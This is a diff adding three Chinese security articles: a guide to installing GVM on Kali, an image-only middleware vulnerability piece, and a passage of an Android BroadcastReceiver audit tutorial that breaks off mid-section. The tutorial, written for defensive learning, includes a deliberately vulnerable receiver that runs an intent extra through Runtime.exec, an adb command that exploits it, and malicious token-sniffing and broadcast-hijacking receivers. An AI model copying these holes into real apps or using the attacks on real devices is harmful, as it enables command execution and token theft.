/dev/null +++ b/doc/2025-06/两条命令搞定!Kali原生集成GVM漏洞扫描器,比Docker省5GB空间.md @@ -0,0 +1,141 @@ +# 两条命令搞定!Kali原生集成GVM漏洞扫描器,比Docker省5GB空间 +原创 衡水铁头哥 铁军哥 2025-06-05 23:45 + +我们前面介绍了如何在Ubuntu系统中部署GVM/OpenVAS +([6年旧镜像翻车!手把手教你用Docker部署最新版企业级漏洞扫描工具OpenVAS](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860633&idx=1&sn=5b6cc0f21b97d658225bc4e366ee3398&scene=21#wechat_redirect) + +),也简单创建了几个扫描任务测试了一下功能 +([Windows消失、路由器变种?Greenbone社区版多模式扫描实战,这些坑别再踩](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860654&idx=1&sn=66263e79839a3587eeb55fbc6bff8012&scene=21#wechat_redirect) + +)。 + +有小伙伴感觉在Docker中部署略显复杂,尤其是拉取镜像比较费劲,那还有什么简单快捷的方法吗? + +还真有,在Kali系统中,仅需几条命令即可快速完成部署,我们来一块学习一下。 + +首先,你得有一台Kali Linux主机 +([如何将Kali系统部署到U盘?](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458859186&idx=1&sn=ce9c48429f4b42fb172b17d569a28a34&scene=21#wechat_redirect) + +),并且完成软件包列表更新和系统升级,因为Greenbone社区版需要使用最新版本的PostgreSQL。 +``` +apt update && apt upgrade -y +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aRKmUSUwSWDB1H3lp2ibibiaFyWGicRKz55ibutQFvgGP1qiaEvwoneWpVvbgQ/640?wx_fmt=png "") + +接下来的安装可以说是非常简单了,仅需执行一条命令即可安装Greenbone社区版和所需的依赖项: +``` +apt install gvm -y +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aREhjUY1WheJgpubCZIQWia7tshPeD4ibtXVLDm1vQeyd2mePVIibrLOE7A/640?wx_fmt=png "") + +可以看到,仅仅下载了不到4 MB的文件,并且磁盘空间占用也只有16.7 MB。 + +然后,我们就可以运行自动配置脚本来完成安装。 +``` +gvm-setup +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aR4xQH9EeqEeCzWCCC2hmElL8xMYk6ZKlnnglJ1Zb2cT7yQTPpNLBvHA/640?wx_fmt=png "") + +gvm-setup的设置过程很快,在回显信息中,我们需要记录为管理员用户admin创建的默认密码,如图中框选的部分。 + +接下来,我们可以使用Kali自带的用于验证已安装服务的脚本来检查GVM设置状态,运行脚本的命令如下: +``` +gvm-check-setup +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aRZqdh3swGroT2AKy6WsX21XcBHVQxta01zoPZ9b2oUJmuAVVXJ4lj4A/640?wx_fmt=png "") + +可以看到,经过一共9项检测,最终提示GVM-25.04.0安装成功。同时,我们还能看到各组件的版本信息,例如OpenVAS扫描器的版本是23.20.1,Notus扫描器的版本是22.6.5,ospd-OpenVAS的版本是22.9.0,gvmd(GVM Manager)的版本是26.0.0,组件版本比Docker版本要新一些。不过,NVT数量只有93947个,只有Docker版本的58 %。 + +不过Kali中的GVM默认使用的是HTTPS,能提供更好的数据安全性。我们通过浏览器访问GSA页面https://127.0.0.1:9392,提供前面自动生成的管理员密码进行登录。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aRibgsUHMhtGOu2xVbQg0g1pd1bkicGnxjCUc6Lgv8zJvYcCkCRrz1IwIQ/640?wx_fmt=png "") + +在开始第一次扫描之前,Greenbone需要解析漏洞提要并将其存储到PostgreSQL数据库中。我们可以通过左侧导航栏“Administration”下的“Feed Status”页面,检查NVT提要状态。跟Docker部署一样,这一步也需要耗费很长的时间,在初始化结束之前执行扫描任务,无法保证任务正常执行。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aRkibLbiaf6AMFQI4eibN8uo9VBPC1e6rpZY1jiaKPia0IvGST3PBgDnEiaVWQ/640?wx_fmt=png "") + +图中的NVT数据包含在漏洞扫描期间创建结果的文件,OpenVAS扫描器处理.nasl文件,Notus 扫描器处理.notus文件。SCAP数据包含CPE和CVE信息。CERT数据包含来自德国DFN-CERT和CERT-Bund机构的漏洞信息。GVMD数据(也称为“数据对象”)包括扫描配置、合规性策略、端口列表和报告格式。从版本信息来看,更新时间就是当天的。 + +同步过程由两部分组成:1、通过rsync下载更改,2、通过守护进程将更改加载到内存和数据库中。我们可以使用greenbone-feed-sync命令来触发同步。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aR3odicwthNXnOeFUHY2ASk9N2MHiawBZyZyBnHo83liahZ0tIqSREicpHjQ/640?wx_fmt=png "") + +等待所有漏洞提要同步完成之后,好像数量上也差不多。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aRKBGd6b16CBDQZPwrhGl7DHuDfNppWKUjCB2G1cic8Lib03MXdORC3xCQ/640?wx_fmt=png "") + +默认情况下,Greenbone社区版仅允许本地主机通过IP地址127.0.0.1访问GSA WEB页面。如果我们想启用WEB页面的远程访问,可以通过修改gsad的systemd服务文件/usr/lib/systemd/system/gsad.service来实现,例如将--listen参数的值更改为0.0.0.0以监听所有网卡,并可选择将--port参数的值更改成标准的HTTPS端口443: +``` +nano /usr/lib/systemd/system/gsad.service +ExecStart=/usr/local/sbin/gsad --foreground --listen=0.0.0.0 --port=443 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aR8icHicq8ibQeicRPq1nQIYUPiaWCDsOibYLS9qvMnao4ic53FQhz4Tiad0tvbQ/640?wx_fmt=png "") + +之后,重新加载并重新启动gsad服务就可以了。 +``` +systemctl daemon-reload +systemctl restart gsad +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5fL4uXAOMM7dZQUZkeN8C8z19TAmc4aRXN80Anibt5h1jHvMGXoEZUIJd8DHtcXDQ2tvXdFlEKgXbT0wUcyggjQ/640?wx_fmt=png "") + +从磁盘空间来看,Kali版本大约占用了17 GB,跟Docker版本相比,又瘦身了不少。 + + +**推荐阅读*** + +[在Windows强跑Docker,8GB内存都喂不饱漏洞扫描神器?](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860603&idx=1&sn=3f138383a35ce7cfbe9c538da4af941e&scene=21#wechat_redirect) + + +[Windows消失、路由器变种?Greenbone社区版多模式扫描实战,这些坑别再踩](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860654&idx=1&sn=66263e79839a3587eeb55fbc6bff8012&scene=21#wechat_redirect) + + +[6年旧镜像翻车!手把手教你用Docker部署最新版企业级漏洞扫描工具OpenVAS](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860633&idx=1&sn=5b6cc0f21b97d658225bc4e366ee3398&scene=21#wechat_redirect) + + +[告别ADB!用DHCP选项让手机自动添加静态路由](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860514&idx=1&sn=c127b47f41e0d02b9dab6806ad72c4ad&scene=21#wechat_redirect) + + +[Windows也能玩转Docker!手把手教你部署Redroid云手机](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860580&idx=1&sn=c038284c0081dbfa540f2196c2be6f76&scene=21#wechat_redirect) + + +[高性能游戏云手机革命!GPU加速让Redroid性能追平小米15](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860530&idx=1&sn=4f8d8d70812910fcbd0b06ab0c67c6d7&scene=21#wechat_redirect) + + +[免费日志分析神器Panalog实战:从安装到对接华三设备](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860556&idx=1&sn=df72ddd289dc7a773b2dae46407d0c8c&scene=21#wechat_redirect) + + +[插上U盘自动装系统?一文掌握Ubuntu服务器版自动安装镜像制作](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860448&idx=1&sn=d833cc7414ffcec71297ae6bdbbea30b&scene=21#wechat_redirect) + + +[连WiFi就能切IP!揭秘企业级路由器多VPN出口黑科技!](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860446&idx=1&sn=d148fbab56322f0bba7718cd01f7a718&scene=21#wechat_redirect) + + +[云手机全球落地实战:用策略路由实现Docker容器网络自由切换](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860475&idx=1&sn=72dfa0a56b4933983a556344dbea9013&scene=21#wechat_redirect) + + +[VMware Edge 620神操作:刷入iStoreOS秒变全能企业级网关,轻松玩转多SSID](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860498&idx=1&sn=a7d5a9717e9955aacd23df1d90c0e709&scene=21#wechat_redirect) + + +[插上U盘自动装系统?Ubuntu无人化自动部署演示](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860400&idx=1&sn=5c014d32622634298be4a5ddc3e76885&scene=21#wechat_redirect) + + +[从CentOS到Ubuntu:零成本迁移L2TP VPN,企业级内网穿透实战!](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860373&idx=1&sn=585ad234cc85b93a8c7352c1d13099f4&scene=21#wechat_redirect) + + +[WireGuard太复杂?十分钟教你用Netmaker一键搞定全球组网](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860200&idx=1&sn=02207649d81cd9a38e595c792d616a81&scene=21#wechat_redirect) + + +[云手机技术揭秘!低成本实现1台电脑变百部"虚拟手机"实战](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860286&idx=1&sn=a2051493387a022382f18716b2eeba5f&scene=21#wechat_redirect) + + +[iWAN隧道实测:一次握手跑满2.3Gbps,白嫖的SD-WAN真能吊打专线?](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860028&idx=1&sn=e019aed0fb43e4971fc62c058da849b2&scene=21#wechat_redirect) + +![](https://mmbiz.qpic.cn/mmbiz_jpg/5fL4uXAOMM7kUuIMJ8JGRicTGrVN3LAad2qWVLSLkZvOL0KSCibicfllib6L4g7Clp5vaZUhAgWoiahdV3kAHa2Wk6A/640?wx_fmt=jpeg "") + + diff --git a/doc/2025-06/中间件常见漏洞详解.md b/doc/2025-06/中间件常见漏洞详解.md new file mode 100644 index 00000000..56eb48b2 --- /dev/null +++ b/doc/2025-06/中间件常见漏洞详解.md @@ -0,0 +1,93 @@ +# 中间件常见漏洞详解 + 计算机与网络安全 2025-06-05 23:57 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jLuhfwiaicLoLjjP4FvWF3V3VVJpzmPv8jtTWibXibajgK2D8JhswzOTxzQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j0aOesk0IEFQhGWVPsQDRyGKAd5iapUTg3J02kmgfiafTJfga9Jm5UQ6w/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jVWqY6s9vvKDEtyUic02r4MJJrvHQx8KEabzxWnry9icR2NK6aBvEjfBg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jpcibzlMIq9BBeYFZhFXIeRAxVaNMn9DibuBwniaibGH0lVDGAHohjuSrtw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jW3TLxFQ6ss4iaicOeONe5klAS24jq5hZbak9zj7Z728tict4zd86m9DlQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jCftmRp1VmzCeq8HUia9oTxQiccCk3KcxDy8iaju0RKXym1ocFlHI3Tx2Q/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j4lkqdAyPTIYGbdhcHnGibVMgibTPTn8eXW6PhiaFUnWicxHk02oA1KrSSQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jyoNJMDlOOUWRC1s7r4icX6a9C0qy97nH5BlQyWKzjWnZMZDTgWH6DnA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j3qNXP6oa0TV9e2ibvETFAibibHllRDCeAOEkJge9cR760Viaq7fDhC2snQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j3XDIW3vspMmPJAJCvF9gPkpAD21GdKPqJBzdh0TuqyuWNtibmNelVpg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jLwcArwcT1arDFzRrvvKSC9eMhf9Khg3UbIujgDHA3asI1ibibr6KnYqw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jGAia5DypBM7EDdPoDqg1QTHbWCf2uAtTT5yMFeARYmoM9brPibicgexgA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jopGV051bbGZFibgLWBkGcfJ1HZuuJNvs7qbKvVKqP31TCGKA756xcLg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jEibnQulRGb17dG2gxO5kiaqcAVErKiclxIB8ffPItMRX7XZ7YtPSHx1ibw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jtf5XefB8YvJjVuGERy4sRIYAfTEz3ibP88DPlUvXhj0ViaQw4tAp9WkA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j15kgQicLtU35E9PU98wIj9ianRYShJ6gQWNbFx2knNRog5JibbCaGcibibA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jNlDeOSkcRc49I8BSbDwppp0FKDUawBGqXh6ib0SG8UlMp9OiaD5FmgEw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j8zJZicwrkKzA23RIhH2kxK7h49KUUb9chp1Jgn7WdkyPdqGic5qaIu3A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jibka2Mibz33dGBick57fdwkiaJ1UCPR6UqymMAGicMZTBCq6jltGCSicOcbw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jR0S3Tia1JpiaaeuVzG6A9ia7GvaaVMCLV7rZWmHrRkXvbxVSkWc3WM5jw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jKQoAx63pK41EpORXelfTNkrVwdewjlRj37icXMH9OVbaibdmXMHHpnug/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jOubd3KXLZjj0B65ZET8oDQzoTamvRgbla2jvUiaUgjltWs3DbtiaD62Q/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jqsSQbw6DIsuNUxptZJwFEnuJWOHC6lVGgkjtzicMMeGCQoBx0A8SyAg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1joz6YiaHpzKCHjVCXeJJkGl2m2DkticfyibOVEkZicRWP366oR379RVkPyw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jMic2picgum7HZmFYLMJwicvqhlIzRvToZ3uWfdIJg7jHEWrslYcz26Swg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j8SdEVo2GoxJPYCK8GRSgZpuWU8HSibV2PicKm0ibw3TuGOs45Kib2mdGbQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jumVzdWEthbvvBdwc9OBuhLhBBoDz7dOswuBzFkgjUkP3GhkicvsS3Tg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jYb8ngLtxicY0IAIy2wdvZmb10ML6gIicgvyaFPdkaceiaB8LyUribh43XA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j2qEcWhMy7N6J73gkibqv036eiaibSmticQQX5iaymKxzTF8PGYqia7SpXiaxQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jBWSf8QBubmmqjo0qGZB2saT1stXTgGAU6C6DP80VibKnGZPJuhqFCrQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jAFxylM8TmRbTkIagcjicyhCCQ7iapwUC5wK3t0RCVLcvIXJeK1icDMyvw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jTFCv8jiabPdHKWkwicJoibPibPX8DktEEq5L8JHOiaoI4AvmuOqS9W5vHoA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1juCibv412ubiahcbdG2aN6micI660bJeZLzyW11bT9Zu5ToOZdy1Ca5naA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1j9hmUzGONkLHAoDrd3eMCo3xPdEMDib8mVAWvmqnGl5I1jscmLm5R7kA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jPOUd7iaCXqcNic4iaZEyZATSfPM1ialsCIaQczclawUV7qFqicJXGI44Znw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jBDMM5LM6mk3VojnHgnd2lOguxXic3MQfaZFf3PcPq01icwW0RiamW2ujg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jY6KXalOrRYpUa32IF3zKkqFiasflyc5ibUt0biatQFObI0ricFJh8swibkw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2ofOHqotmSft5PGbCMxnKib1jUWm7q07bLSGyXFfunWMVGBuVPMPG6aXcyjKwo2CKXd8EbyicNXpcIjg/640?wx_fmt=png&from=appmsg "") + +**扫码加入知识星球****:** +**网络安全攻防(HVV)** + +**下载本篇和全套资料** + +**** +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/VcRPEU1K2ocrickwS8jlJmx9dm99x7cetyLS8ib43IBlZ9GpKnpibU4QV0ictAFUD0sudSt5FvXkqhPcfWSU1DgOXA/640?wx_fmt=jpeg "") +``` + +``` + +**|** + - + diff --git a/doc/2025-06/别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解.md b/doc/2025-06/别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解.md new file mode 100644 index 00000000..3a2280c8 --- /dev/null +++ b/doc/2025-06/别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解.md @@ -0,0 +1,283 @@ +# 别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解 +原创 火力猫 季升安全 2025-06-06 00:15 + +# 🚨Android BroadcastReceiver 漏洞排查全流程指南 +> +> 🔐 面向 Android 安全新手,从 0 到 1 手把手教你排查 BroadcastReceiver 的安全风险! + +## ✅ 什么是 BroadcastReceiver? + +BroadcastReceiver(广播接收器)是 Android 四大组件之一,专门用来**接收和响应广播消息** +,比如系统通知、电量变化、网络状态变化,或者 App 自己发的“登录成功”“支付完成”等消息。 + +它分为两种注册方式: + +
类型注册方式生命周期
静态注册写在 AndroidManifest.xml 中App 没打开也能接收
动态注册在代码中 registerReceiver()App 打开期间才生效
+🔎 核心方法是  +onReceive() +,广播发出后就会触发这个函数运行你写的逻辑。问题就出在这里: +- 如果别人能发广播给你(exported=true) + +- 而你在 onReceive 里执行了敏感操作(发短信、删库、调用命令等) + +- 又没有校验广播来源或内容 + +- 动态注册详情 👉 [新手也能看懂的 Android 动态广播机制详解](https://mp.weixin.qq.com/s?__biz=MzkxNjY5MDc4Ng==&mid=2247485138&idx=1&sn=959026aa7267066802108aecdaf187e3&scene=21#wechat_redirect) + + +那攻击者就能伪造广播“骗你执行”——这就是**广播欺骗、劫持、信息泄露等安全问题的根源。** +## ✅  BroadcastReceiver组件的常见结构 +### 📌 Manifest 中的注册结构示意: +``` +                +``` +### 📌 BroadcastReceiver 的典型结构示意: +``` +// 1️⃣ 声明广播接收器类,继承 BroadcastReceiverpublic class MyReceiver extends BroadcastReceiver{// 2️⃣ 重写 onReceive 方法(广播的主要处理逻辑入口)@Overridepublic void onReceive(Context context, Intent intent){// 3️⃣ 获取广播 action 或参数        String action = intent.getAction();// 4️⃣ 判断是否是预期的 actionif ("com.example.MY_ACTION".equals(action)) {// 5️⃣ 执行对应的处理逻辑(如启动服务、记录日志等)        }    }} +``` + +## 🧭 Android 广播组件排查 3 步法 +### 第一步:👀 快速识别有哪些广播接收器 +#### 🛠 Jadx反编译查看: + +打开 AndroidManifest.xml +,查找所有  + 组件: +``` +                +``` +> +> ✅ 看点: +> 有没有 android:exported="true"(或没写,Android11 以下默认也是 true) - 12及以上必须显型说明是True或False + +有没有设置 android:permission="..."(有则较安全) + +#### 🛠 Jadx全局搜索关键词: + +
关键词
含义说明
排查目的
onReceive
实现广播接收的核心方法
定位接收器逻辑入口
registerReceiver
动态注册广播的 API
查非 Manifest 注册的广播组件
sendBroadcast
普通广播发送方法
找出 App 主动发送的广播(可能泄露)
sendOrderedBroadcast
有序广播发送方法
分析是否存在劫持风险
abortBroadcast
中断广播传递的方法
判断是否有恶意阻断逻辑
Runtime.getRuntime().exec
执行系统命令(高危)
查是否被广播欺骗后执行命令
getStringExtra
 / getExtras
获取广播参数
查参数注入点或参数未校验位置
SmsManager.sendTextMessage
发送短信 API(高风险)
分析是否可被伪造广播诱发发送短信
+> +> ✅ **排查建议:** +> 搜索结果中重点查看是否出现在 BroadcastReceiver 中,尤其是 onReceive() 方法内部。注意判断是否有 getStringExtra()、intent.getAction() 等字段提取但未做校验。如出现 exec()、发短信等敏感操作,务必检查是否是被广播触发、是否加了权限控制。 + + +### 第二步:🔍 分析每个接收器是否存在风险 +#### 📌 漏洞 ①:广播欺骗(Broadcast Spoofing) +##### ✅ 风险描述: + +攻击者伪造广播 Intent,触发敏感行为(如执行命令、发短信、启动服务) +##### ☠️ 漏洞代码示例: +``` +public class DangerousReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){        String cmd = intent.getStringExtra("cmd");try {            Runtime.getRuntime().exec(cmd); // ⚠️执行任意命令        } catch (Exception e) {            e.printStackTrace();        }    }} +``` +##### ⚙️ Manifest 配置(无权限限制 + 默认导出): +``` +                +``` +##### 💥 ADB 利用命令: +``` +adb shell am broadcast -a com.vuln.EXEC_CMD --es cmd "touch /sdcard/pwned.txt" +``` +##### 📌 特殊适用条件: +- 目标系统 Android 11 以下(12+ 默认要求 exported,查看是否有明确 exported = true +) + +- Receiver 没设置权限 + +- 触发敏感 API(如 exec) + +#### 📌 漏洞 ②:信息泄露(Broadcast Leak) +##### ✅ 风险描述: + +应用通过**普通广播(sendBroadcast(Intent))发送敏感数据** +,未对广播添加权限控制,导致**任何安装在设备上的应用都能监听该广播并窃取敏感信息** +。 +##### ⚠️ 有风险的配置和源码示例 + +发送方(泄露广播)代码示例: +``` +Intent i = new Intent("com.app.LOGIN_RESULT"); //com.app.LOGIN_RESULT 具体actioni.putExtra("token", "user-token-123456");sendBroadcast(i); // ⚠️ 未指定权限,任何App均可接收 +``` +- 这段代码中,调用了sendBroadcast +,且没有传入权限参数。 + +- 这样发送的广播是公开的,任何App都能通过注册相同action +监听到。 + +- 广播中附带了敏感字段token +,暴露了用户信息。 + +Manifest 中未限制导出: +``` +                +``` +- 如果广播接收器本身导出(exported=true +),意味着其他App也能发送该广播,增加风险。 + +##### 👾 攻击者需要做什么? +- 攻击者需要写一个**恶意App** +,并安装到目标设备上。 + +- 恶意App在AndroidManifest.xml +中声明与目标App广播相同的action +,并注册对应的BroadcastReceiver +来监听广播。 + +攻击者的AndroidManifest.xml +: +``` +                +``` + +攻击者的监听器代码: +``` +public class Sniffer extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){        String leakedToken = intent.getStringExtra("token");        Log.d("LeakedToken", "获取到的Token: " + leakedToken);// 这里可以将数据上传到服务器或做其他恶意操作    }} +``` +##### 📱 是否可以通过 ADB 验证? +- **不完全可以。** + +因为信息泄露需要**安装恶意App来注册监听广播** +,普通的adb shell am broadcast +只能模拟发送广播,无法直接模拟监听行为。 + +但你可以用ADB检查目标App发送的广播: +``` +adb shell dumpsys activity broadcasts +``` +- 该命令可查看当前系统广播队列,但不能直接看到广播内容和接收者。 + +要验证监听效果,必须: +1. 编写一个简单监听广播的App(上面攻击者代码示例)。 + +1. 安装到设备上。 + +1. 运行目标App发送广播。 + +1. 在监听App中观察日志(通过adb logcat +)确认是否接收到敏感数据。 + +##### 📌 特殊适用条件: +- **目标App通过普通sendBroadcast发送广播** +,**且未设置接收权限** +。 + +- 广播内包含**敏感数据** +(如Token、用户隐私信息等)。 + +- 攻击者能在设备安装恶意App并注册对应广播监听器。 + +##### ✅ 修复建议: +- 发送广播时指定权限,只有拥有该权限的App才能接收广播: + +``` +sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅ 加权限 +``` +- 并在 AndroidManifest.xml + 中声明权限: + +``` +                +``` +- 或者通过**动态注册** +的方式接收广播,限制注册范围,避免被其他App监听。 + +##### 总结: + +
项目
说明
发生场景
发送敏感数据的普通广播无权限限制
攻击者条件
安装恶意App监听目标广播
是否可用 ADB 验证
只能查看广播状态,无法模拟监听
修复建议
发送广播时加权限,声明权限限制
+ +如果需要 +``` +sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅加权限 +``` + +#### 📌 漏洞 ③:有序广播劫持(Hijack) +##### ✅ 风险描述: + +攻击者通过设置更高优先级,拦截或阻断 sendOrderedBroadcast 发送的广播,修改或阻止原广播流程。 +##### ☠️ 恶意接收器配置: +``` +                +``` +``` +public class HijackReceiver extends BroadcastReceiver{public void onReceive(Context context, Intent intent){        abortBroadcast(); // ⚠️中断后续 Receiver// 或 setResultData("hacked") 修改内容    }} +``` +##### 📌 特殊适用条件: +- App 使用 sendOrderedBroadcast() + +- 目标系统 Android 8及以下(适用旧版本兼容的系统可以关注一下) + +##### ✅ 修复建议: +- 尽量使用普通广播或 LocalBroadcastManager + +- 验证广播来源 (getPackage +, getCallingUid +) + +#### 📌 漏洞 ④:拒绝服务(DoS) +##### ✅ 风险描述: + +攻击者持续高频发送广播,触发广播内耗时操作导致卡顿甚至 ANR 崩溃。 +##### ☠️ Receiver 示例: +``` +@Overridepublic void onReceive(Context context, Intent intent){try {        Thread.sleep(5000); // ⚠️耗时操作导致卡死    } catch (InterruptedException e) {}} +``` +##### ⚙️ Manifest 配置: +``` +                +``` +##### 